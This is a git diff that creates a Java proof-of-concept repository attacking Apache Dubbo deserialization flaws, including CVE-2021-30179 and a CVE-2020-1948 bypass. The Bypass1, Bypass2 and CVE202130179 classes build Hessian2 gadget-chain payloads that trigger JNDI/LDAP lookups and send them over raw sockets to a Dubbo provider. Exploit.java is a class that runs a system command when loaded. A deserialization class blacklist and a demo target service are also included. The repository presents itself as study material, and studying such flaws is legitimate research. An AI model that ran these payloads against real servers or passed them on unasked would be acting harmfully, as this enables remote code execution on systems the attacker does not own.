diff --git a/DubboPOC.iml b/DubboPOC.iml new file mode 100644 index 0000000..78b2cc5 --- /dev/null +++ b/DubboPOC.iml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..7369758 --- /dev/null +++ b/README.md @@ -0,0 +1,17 @@ +# DubboPOC +Apache Dubbo 漏洞POC + +* 持续更新中 + - [ ] CVE-2019-17564 + - [ ] CVE-2020-1948 + - [x] CVE-2020-1948绕过 + - [ ] CVE-2021-25641 + - [x] CVE-2021-30179 + - [ ] others +* 免责声明 + * 项目仅供学习使用,任何未授权检测造成的直接或者间接的后果及损失,均由使用者本人负责 + +* 参考链接 + + * [GHSL-2021-034_043: Multiple pre-auth RCEs in Apache Dubbo](https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/) + * [dubbo源码浅析:默认反序列化利用之hessian2](https://www.anquanke.com/post/id/197658) diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..d793506 --- /dev/null +++ b/pom.xml @@ -0,0 +1,183 @@ + + + 4.0.0 + + org.example + DubboPOC + 1.0-SNAPSHOT + + + 1.8 + 1.8 + 2.7.9 + 4.3.16.RELEASE + 4.12 + + + + + + org.springframework + spring-framework-bom + ${spring.version} + pom + import + + + org.apache.dubbo + dubbo-bom + ${dubbo.version} + pom + import + + + org.apache.dubbo + dubbo-dependencies-zookeeper + ${dubbo.version} + pom + + + com.fasterxml.jackson.core + jackson-databind + 2.9.10.8 + + + com.fasterxml.jackson.core + jackson-core + 2.9.10 + + + com.fasterxml.jackson.core + jackson-annotations + 2.9.10 + + + com.sun.rowset + rowset + + + + + + + org.apache.dubbo + dubbo + + + + org.apache.dubbo + dubbo-dependencies-zookeeper + pom + + + + javax.servlet + javax.servlet-api + + + + org.apache.tomcat.embed + tomcat-embed-core + + + + org.eclipse.jetty + jetty-server + + + + org.eclipse.jetty + jetty-servlet + + + + org.springframework + spring-web + + + + + com.github.briandilley.jsonrpc4j + jsonrpc4j + 1.2.0 + + + + junit + junit + ${junit.version} + test + + + + org.springframework + spring-test + test + + + + com.fasterxml.jackson.core + jackson-databind + + + + com.rometools + rome + 1.7.0 + + + + com.nqzero + permit-reflect + 0.3 + + + + org.apache.xbean + xbean-reflect + 4.15 + + + + org.apache.commons + commons-collections4 + 4.0 + + + + + + + + + javax.annotation + + [1.11,) + + + + javax.annotation + javax.annotation-api + 1.3.2 + + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.7.0 + + 7 + 7 + + + + + + diff --git a/src/main/java/top/lz2y/1.ser b/src/main/java/top/lz2y/1.ser new file mode 100644 index 0000000..99e4bc6 Binary files /dev/null and b/src/main/java/top/lz2y/1.ser differ diff --git a/src/main/java/top/lz2y/blacklist.txt b/src/main/java/top/lz2y/blacklist.txt new file mode 100644 index 0000000..dc78288 --- /dev/null +++ b/src/main/java/top/lz2y/blacklist.txt @@ -0,0 +1,149 @@ + 0 = "org.apache.commons.beanutils" + 1 = "org.logicalcobwebs." + 2 = "org.codehaus.groovy.runtime" + 3 = "com.mysql.cj.jdbc.mysqlxadatasource" + 4 = "com.alibaba.druid.stat.jdbcdatasourcestat" + 5 = "com.sun." + 6 = "org.objectweb.asm." + 7 = "org.apache.commons.proxy." + 8 = "clojure.core$constantly" + 9 = "java.io.closeable" + 10 = "org.apache.commons.logging." + 11 = "java.util.collection" + 12 = "org.jdom." + 13 = "java.net.socket" + 14 = "org.apache.cxf.jaxrs.provider." + 15 = "org.apache.activemq.activemqconnectionfactory" + 16 = "java.lang.readable" + 17 = "javax.tools." + 18 = "org.apache.myfaces.context.servlet" + 19 = "org.apache.shiro.realm." + 20 = "net.bytebuddy.dynamic.loading.bytearrayclassloader" + 21 = "javax.sound." + 22 = "com.mchange" + 23 = "java.net.inetaddress" + 24 = "org.apache.tomcat" + 25 = "org.apache.openjpa.ee." + 26 = "net.sf.ehcache.hibernate." + 27 = "java.util.prefs." + 28 = "jodd.db.connection." + 29 = "java.lang.autocloseable" + 30 = "javax.xml" + 31 = "javax.activation." + 32 = "org.apache.http.cookie." + 33 = "org.apache.ibatis.datasource" + 34 = "javax.script." + 35 = "org.apache.log4j." + 36 = "org.eclipse.jetty." + 37 = "net.sf.cglib." + 38 = "org.javasimon." + 39 = "com.rometools.rome.feed.impl.equalsbean" + 40 = "org.apache.carbondata.core.scan.expression.expressionresult" + 41 = "com.taobao.eagleeye.wrapper" + 42 = "org.yaml.snakeyaml.tokens.directivetoken" + 43 = "com.ibatis." + 44 = "aj.org.objectweb.asm." + 45 = "flex.messaging.util.concurrent." + 46 = "org.springframework." + 47 = "javax.net." + 48 = "org.quartz." + 49 = "org.apache.commons.collections.comparators." + 50 = "org.jboss" + 51 = "org.apache.wicket.util" + 52 = "org.apache.ibatis.executor." + 53 = "org.apache.ibatis.parsing." + 54 = "org.apache.catalina." + 55 = "net.sf.ehcache.transaction.manager." + 56 = "org.mortbay.jetty." + 57 = "org.python.core" + 58 = "org.apache.ibatis.scripting." + 59 = "java.lang.runnable" + 60 = "java.beans.expression" + 61 = "org.h2.server." + 62 = "org.apache.activemq.pool." + 63 = "org.apache.shiro.jndi." + 64 = "java.lang.object" + 65 = "com.rometools.rome.feed.impl.tostringbean" + 66 = "javax.imageio.imageio$containsfilter" + 67 = "org.apache.aries.transaction." + 68 = "com.alibaba.fastjson.annotation" + 69 = "java.rmi" + 70 = "ch.qos.logback." + 71 = "com.mysql.cj.log." + 72 = "org.apache.activemq.activemqxaconnectionfactory" + 73 = "com.mysql.cj.jdbc.admin." + 74 = "org.apache.http.impl." + 75 = "junit." + 76 = "org.apache.cocoon." + 77 = "java.util.eventlistener" + 78 = "org.hibernate" + 79 = "org.apache.axis2.jaxws.spi.handler." + 80 = "org.apache.commons.dbcp" + 81 = "java.lang.iterable" + 82 = "com.alibaba.druid.pool.druiddatasource" + 83 = "org.apache.hadoop.shaded.com.zaxxer.hikari." + 84 = "br.com.anteros." + 85 = "java.io.serializable" + 86 = "org.slf4j." + 87 = "org.jaxen." + 88 = "com.alibaba.citrus.springext.support.parser.abstractnamedproxybeandefinitionparser$proxytargetfactory" + 89 = "oracle.jms.aq" + 90 = "org.apache.xbean." + 91 = "org.apache.commons.collections.transformer" + 92 = "com.mysql.cj.jdbc.mysqlconnectionpooldatasource" + 93 = "org.apache.commons.collections4.comparators" + 94 = "org.apache.activemq.spring." + 95 = "oracle.jdbc." + 96 = "java.util.logging." + 97 = "oracle.net" + 98 = "org.apache.commons.collections.functors" + 99 = "org.codehaus.jackson." + 100 = "org.apache.commons.collections.functors." + 101 = "javax.naming." + 102 = "jdk.internal." + 103 = "org.apache.commons.jelly." + 104 = "org.apache.axis2.transport.jms." + 105 = "com.caucho." + 106 = "com.mysql.cj.jdbc.mysqldatasource" + 107 = "org.apache.xalan" + 108 = "org.geotools.filter.constantexpression" + 109 = "javax.management." + 110 = "java.awt.i" + 111 = "org.apache.activemq.jms.pool." + 112 = "org.apache.commons.fileupload" + 113 = "javassist." + 114 = "org.apache.ibatis.javassist." + 115 = "com.zaxxer.hikari." + 116 = "org.apache.logging." + 117 = "org.jdom2.transform." + 118 = "java.lang.cloneable" + 119 = "org.apache.commons.collections4.functors" + 120 = "javax.imageio.spi.serviceregistry" + 121 = "com.p6spy.engine." + 122 = "org.h2.jdbcx." + 123 = "com.alipay.custrelation.service.model.redress.pair" + 124 = "org.apache.bcel" + 125 = "org.apache.http.conn." + 126 = "org.apache.xpath.xpathcontext" + 127 = "java.lang.thread" + 128 = "java.util.serviceloader$lazyiterator" + 129 = "org.apache.commons.configuration" + 130 = "java.awt.p" + 131 = "org.apache.ibatis.ognl." + 132 = "org.apache.commons.collections4.transformer" + 133 = "org.apache.ignite.cache.jta." + 134 = "java.lang.class" + 135 = "java.net.url" + 136 = "java.lang.unixprocess" + 137 = "java.util.jar." + 138 = "org.mozilla.javascript" + 139 = "java.security.signedobject" + 140 = "sun.rmi.server.unicastref" + 141 = "javax.swing.j" + 142 = "org.osjava.sj." + 143 = "clojure.main$eval_opt" + 144 = "org.apache.ibatis.reflection." + 145 = "org.apache.http.auth." + 146 = "javax.print." + 147 = "org.aoju.bus.proxy.provider." + 148 = "com.alibaba.citrus.springext.util.springextutil.abstractproxy" \ No newline at end of file diff --git a/src/main/java/top/lz2y/impl/DemoServiceImpl.java b/src/main/java/top/lz2y/impl/DemoServiceImpl.java new file mode 100644 index 0000000..d64bbbd --- /dev/null +++ b/src/main/java/top/lz2y/impl/DemoServiceImpl.java @@ -0,0 +1,37 @@ +/* + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package top.lz2y.impl; + +import org.apache.dubbo.rpc.RpcContext; +import top.lz2y.service.DemoService; + +import java.text.SimpleDateFormat; +import java.util.Date; + +public class DemoServiceImpl implements DemoService { + + @Override + public String sayHello(String name) { + System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name + + ", request from consumer: " + RpcContext.getContext().getRemoteAddress()); + return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress(); + } + +} diff --git a/src/main/java/top/lz2y/service/DemoService.java b/src/main/java/top/lz2y/service/DemoService.java new file mode 100644 index 0000000..b9cf91e --- /dev/null +++ b/src/main/java/top/lz2y/service/DemoService.java @@ -0,0 +1,26 @@ +/* + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package top.lz2y.service; + +public interface DemoService { + + String sayHello(String name); + +} diff --git a/src/main/java/top/lz2y/service/DubboConsumer.java b/src/main/java/top/lz2y/service/DubboConsumer.java new file mode 100644 index 0000000..7510add --- /dev/null +++ b/src/main/java/top/lz2y/service/DubboConsumer.java @@ -0,0 +1,34 @@ +/* + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package top.lz2y.service; + +import org.springframework.context.support.ClassPathXmlApplicationContext; + +public class DubboConsumer { + + public static void main(String[] args) throws Exception { + ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/dubbo-consumer.xml"); + context.start(); + + DemoService demoService = (DemoService) context.getBean("demoService"); + String result = demoService.sayHello("world"); + System.out.println(result); + } +} diff --git a/src/main/java/top/lz2y/service/DubboProvider.java b/src/main/java/top/lz2y/service/DubboProvider.java new file mode 100644 index 0000000..ad7a9a4 --- /dev/null +++ b/src/main/java/top/lz2y/service/DubboProvider.java @@ -0,0 +1,36 @@ +/* + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package top.lz2y.service; + +import org.springframework.context.support.ClassPathXmlApplicationContext; + +import java.util.concurrent.CountDownLatch; + +public class DubboProvider { + + public static void main(String[] args) throws Exception { + ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/dubbo-provider.xml"); + context.start(); + + System.out.println("dubbo service started"); + new CountDownLatch(1).await(); + } + +} diff --git a/src/main/java/top/lz2y/service/HttpConsumer.java b/src/main/java/top/lz2y/service/HttpConsumer.java new file mode 100644 index 0000000..a40615e --- /dev/null +++ b/src/main/java/top/lz2y/service/HttpConsumer.java @@ -0,0 +1,34 @@ +/* + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package top.lz2y.service; + +import org.springframework.context.support.ClassPathXmlApplicationContext; + +public class HttpConsumer { + + public static void main(String[] args) throws Exception { + ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml"); + context.start(); + + DemoService demoService = (DemoService) context.getBean("demoService"); + String result = demoService.sayHello("world"); + System.out.println(result); + } +} diff --git a/src/main/java/top/lz2y/service/HttpProvider.java b/src/main/java/top/lz2y/service/HttpProvider.java new file mode 100644 index 0000000..784d2b5 --- /dev/null +++ b/src/main/java/top/lz2y/service/HttpProvider.java @@ -0,0 +1,36 @@ +/* + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package top.lz2y.service; + +import org.springframework.context.support.ClassPathXmlApplicationContext; + +import java.util.concurrent.CountDownLatch; + +public class HttpProvider { + + public static void main(String[] args) throws Exception { + ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-provider.xml"); + context.start(); + + System.out.println("dubbo service started"); + new CountDownLatch(1).await(); + } + +} diff --git a/src/main/java/top/lz2y/test/ByteTest.java b/src/main/java/top/lz2y/test/ByteTest.java new file mode 100644 index 0000000..d630383 --- /dev/null +++ b/src/main/java/top/lz2y/test/ByteTest.java @@ -0,0 +1,24 @@ +package top.lz2y.test; + + +import top.lz2y.tools.FileUtil; + +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; + +/** + * description: ByteTest + * date: 2021/7/22 9:42 + * author: lz2y + * version: 1.0 + */ +public class ByteTest { + public static void main(String[] args) throws Exception{ +// System.out.println("Test"); + byte[] payload = FileUtil.getBytesByFile("src\\main\\java\\top\\lz2y\\1.ser"); + assert payload != null; + ObjectInputStream ois = new ObjectInputStream(new + ByteArrayInputStream(payload)); + ois.readObject(); + } +} diff --git a/src/main/java/top/lz2y/tools/FileUtil.java b/src/main/java/top/lz2y/tools/FileUtil.java new file mode 100644 index 0000000..f0a3afb --- /dev/null +++ b/src/main/java/top/lz2y/tools/FileUtil.java @@ -0,0 +1,77 @@ +package top.lz2y.tools; + +/** + * 版权声明:本文为CSDN博主「weisian151」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 + * 原文链接:https://blog.csdn.net/qq_34207422/article/details/99678732 + */ + + +import java.io.*; + +public class FileUtil { + + //将文件转换成Byte数组 + public static byte[] getBytesByFile(String pathStr) { + File file = new File(pathStr); + try { + FileInputStream fis = new FileInputStream(file); + ByteArrayOutputStream bos = new ByteArrayOutputStream(1000); + byte[] b = new byte[1000]; + int n; + while ((n = fis.read(b)) != -1) { + bos.write(b, 0, n); + } + fis.close(); + byte[] data = bos.toByteArray(); + bos.close(); + return data; + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + //将Byte数组转换成文件 + public static void getFileByBytes(byte[] bytes, String filePath, String fileName) { + BufferedOutputStream bos = null; + FileOutputStream fos = null; + File file = null; + try { + File dir = new File(filePath); + if (!dir.exists()) {// 判断文件目录是否存在 + dir.mkdirs(); + } + file = new File(filePath + fileName); + fos = new FileOutputStream(file); + bos = new BufferedOutputStream(fos); + bos.write(bytes); + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (bos != null) { + try { + bos.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + if (fos != null) { + try { + fos.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + } + + public static void main(String[] args) { + // 获取图片字节数组 + byte[] bytesByFile = getBytesByFile("E:\\0.jpg"); +// System.out.println("bytesByFile:"+JSON.toJSONString(bytesByFile)); + + // 输出到文件E:/test1/xxxx.jpg + getFileByBytes(bytesByFile, "E:\\test1"+File.separator, "xxxx.jpg"); + } +} + diff --git a/src/main/java/top/lz2y/tools/Reflections.java b/src/main/java/top/lz2y/tools/Reflections.java new file mode 100644 index 0000000..dc0315f --- /dev/null +++ b/src/main/java/top/lz2y/tools/Reflections.java @@ -0,0 +1,67 @@ +package top.lz2y.tools; + +import com.nqzero.permit.Permit; +import sun.reflect.ReflectionFactory; + +import java.lang.reflect.AccessibleObject; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; + +@SuppressWarnings( "restriction" ) +public class Reflections { + + public static void setAccessible(AccessibleObject member) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); + } + catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + setAccessible(ctor); + return ctor; + } + + public static Object newInstance(String className, Object... args) throws Exception { + return getFirstCtor(className).newInstance(args); + } + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings( {"unchecked"} ) + public static T createWithConstructor (Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + setAccessible(objCons); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + setAccessible(sc); + return (T)sc.newInstance(consArgs); + } + +} diff --git a/src/main/java/top/lz2y/vul/Bypass1.java b/src/main/java/top/lz2y/vul/Bypass1.java new file mode 100644 index 0000000..9216684 --- /dev/null +++ b/src/main/java/top/lz2y/vul/Bypass1.java @@ -0,0 +1,75 @@ +package top.lz2y.vul; + +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.rowset.JdbcRowSetImpl; +import org.apache.dubbo.common.io.Bytes; +import org.apache.dubbo.common.serialize.Cleanable; +import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput; +import top.lz2y.tools.Reflections; + +import java.io.ByteArrayOutputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; +import java.util.Random; + +/** + * description: Bypass1 + */ +public class Bypass1 { + public static void main(String[] args) throws Exception{ + + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + + // header. + byte[] header = new byte[16]; + // set magic number. + Bytes.short2bytes((short) 0xdabb, header); + // set request and serialization flag. + header[2] = (byte) ((byte) 0x80 | 2); + + // set request id. + Bytes.long2bytes(new Random().nextInt(100000000), header, 4); + + ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); + Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); + + out.writeUTF("2.7.8"); + //todo 此处填写注册中心获取到的service全限定名、版本号、方法名 + out.writeUTF(""); + out.writeUTF("1.0"); + out.writeUTF("$echo"); + //todo 方法描述不需要修改,因为此处需要指定map的payload去触发 + out.writeUTF("Ljava/lang/Object;"); + out.writeObject("foo"); + + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + //todo 此处填写ldap url + rs.setDataSourceName("ldap://127.0.0.1:8087/Exploit"); + rs.setMatchColumn("foo"); + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); + + ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); + HashMap attachments = new HashMap(); + attachments.put("pwn", item); + out.writeObject(attachments); + + out.flushBuffer(); + if (out instanceof Cleanable) { + ((Cleanable) out).cleanup(); + } + + Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); + byteArrayOutputStream.write(header); + byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); + + byte[] bytes = byteArrayOutputStream.toByteArray(); + + //todo 此处填写被攻击的dubbo服务提供者地址和端口 + Socket socket = new Socket("192.168.137.1", 20880); + OutputStream outputStream = socket.getOutputStream(); + outputStream.write(bytes); + outputStream.flush(); + outputStream.close(); + } +} diff --git a/src/main/java/top/lz2y/vul/Bypass2.java b/src/main/java/top/lz2y/vul/Bypass2.java new file mode 100644 index 0000000..c4de057 --- /dev/null +++ b/src/main/java/top/lz2y/vul/Bypass2.java @@ -0,0 +1,70 @@ +package top.lz2y.vul; + +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.rowset.JdbcRowSetImpl; +import org.apache.dubbo.common.io.Bytes; +import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput; +import top.lz2y.tools.Reflections; + +import java.io.ByteArrayOutputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; +import java.util.Random; + +/** + * description: Bypass1 + */ +public class Bypass2 { + public static void main(String[] args) throws Exception{ + + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + + // header. + byte[] header = new byte[16]; + // set magic number. + Bytes.short2bytes((short) 0xdabb, header); + // set request and serialization flag. + header[2] = (byte) ((byte) 0x80 | 2); + + // set request id. + Bytes.long2bytes(new Random().nextInt(100000000), header, 4); + + ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); + Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); + + out.writeUTF("2.7.8"); + //todo 此处填写注册中心获取到的service全限定名、版本号、方法名 + out.writeUTF("top.lz2y.service.DemoService"); + out.writeUTF(""); + out.writeUTF("$echo"); + + out.writeUTF("Ljava/lang/Object;"); + + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + //todo 此处填写ldap url + rs.setDataSourceName("ldap://127.0.0.1:8087/Exploit"); + rs.setMatchColumn("foo"); + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); + ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); + out.writeObject(item); + HashMap attachments = new HashMap(); + attachments.put("_isCallBackServiceInvoke", "true"); + out.writeObject(attachments); + + out.flushBuffer(); + + Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); + byteArrayOutputStream.write(header); + byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); + + byte[] bytes = byteArrayOutputStream.toByteArray(); + + //todo 此处填写被攻击的dubbo服务提供者地址和端口 + Socket socket = new Socket("127.0.0.1", 20880); + OutputStream outputStream = socket.getOutputStream(); + outputStream.write(bytes); + outputStream.flush(); + outputStream.close(); + } +} diff --git a/src/main/java/top/lz2y/vul/CVE202130179.java b/src/main/java/top/lz2y/vul/CVE202130179.java new file mode 100644 index 0000000..cb902c3 --- /dev/null +++ b/src/main/java/top/lz2y/vul/CVE202130179.java @@ -0,0 +1,108 @@ +package top.lz2y.vul; + +import org.apache.dubbo.common.beanutil.JavaBeanDescriptor; +import org.apache.dubbo.common.io.Bytes; +import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput; +import top.lz2y.tools.FileUtil; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; +import java.util.Random; + + +/** + * 漏洞编号: + * CVE-2021-30179 + * 适用版本: + * Apache Dubbo 2.7.0 to 2.7.9 + * Apache Dubbo 2.6.0 to 2.6.9 + * Apache Dubbo all 2.5.x versions + */ +public class CVE202130179 { + public static void main(String[] args) throws Exception{ + + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + + // header. + byte[] header = new byte[16]; + // set magic number. + Bytes.short2bytes((short) 0xdabb, header); + // set request and serialization flag. + header[2] = (byte) ((byte) 0x80 | 2); + + // set request id. + Bytes.long2bytes(new Random().nextInt(100000000), header, 4); + ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); + Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); + + // set body + out.writeUTF("2.7.8"); + //todo 此处填写Dubbo提供的服务名 + out.writeUTF("top.lz2y.service.DemoService"); + out.writeUTF(""); + out.writeUTF("$invoke"); + out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;"); + //todo 此处填写Dubbo提供的服务的方法 + out.writeUTF("sayHello"); + out.writeObject(new String[] {"java.lang.String"}); + + // POC 1: raw.return +// getRawReturnPayload(out, "ldap://127.0.0.1:8087/Exploit"); + + // POC 2: bean + getBeanPayload(out, "ldap://127.0.0.1:8087/Exploit"); + + // POC 3: nativejava +// getNativeJavaPayload(out, "src\\main\\java\\top\\lz2y\\1.ser"); + + out.flushBuffer(); + + Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); + byteArrayOutputStream.write(header); + byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); + + byte[] bytes = byteArrayOutputStream.toByteArray(); + + //todo 此处填写Dubbo服务地址及端口 + Socket socket = new Socket("192.168.137.1", 20880); + OutputStream outputStream = socket.getOutputStream(); + outputStream.write(bytes); + outputStream.flush(); + outputStream.close(); + } + + private static void getRawReturnPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException { + HashMap jndi = new HashMap(); + jndi.put("class", "org.apache.xbean.propertyeditor.JndiConverter"); + jndi.put("asText", ldapUri); + out.writeObject(new Object[]{jndi}); + + HashMap map = new HashMap(); + map.put("generic", "raw.return"); + out.writeObject(map); + } + + private static void getBeanPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException { +// JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor("org.apache.xbean.propertyeditor.JndiConverter",7); +// javaBeanDescriptor.setProperty("asText",ldapUri); + JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor("com.sun.rowset.JdbcRowSetImpl",7); + javaBeanDescriptor.setProperty("AutoCommit",ldapUri); + out.writeObject(new Object[]{javaBeanDescriptor}); + HashMap map = new HashMap(); + + map.put("generic", "bean"); + out.writeObject(map); + } + + private static void getNativeJavaPayload(Hessian2ObjectOutput out, String serPath) throws IOException { + byte[] payload = FileUtil.getBytesByFile(serPath); + out.writeObject(new Object[] {payload}); + + HashMap map = new HashMap(); + map.put("generic", "nativejava"); + out.writeObject(map); + } +} diff --git a/src/main/java/top/lz2y/vul/Exploit.java b/src/main/java/top/lz2y/vul/Exploit.java new file mode 100644 index 0000000..8deee04 --- /dev/null +++ b/src/main/java/top/lz2y/vul/Exploit.java @@ -0,0 +1,20 @@ +package top.lz2y.vul; + + +import java.io.Serializable; + +/** + * description: Evil Class for Jndi Injection + */ +public class Exploit implements Serializable { + + static { + System.err.println("Pwned"); + try { + String cmds = "calc"; + Runtime.getRuntime().exec(cmds); + } catch ( Exception e ) { + e.printStackTrace(); + } + } +} diff --git a/src/main/resources/log4j.properties b/src/main/resources/log4j.properties new file mode 100644 index 0000000..7e15511 --- /dev/null +++ b/src/main/resources/log4j.properties @@ -0,0 +1,27 @@ +# +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# + +###set log levels### +log4j.rootLogger=info, stdout +###output to the console### +log4j.appender.stdout=org.apache.log4j.ConsoleAppender 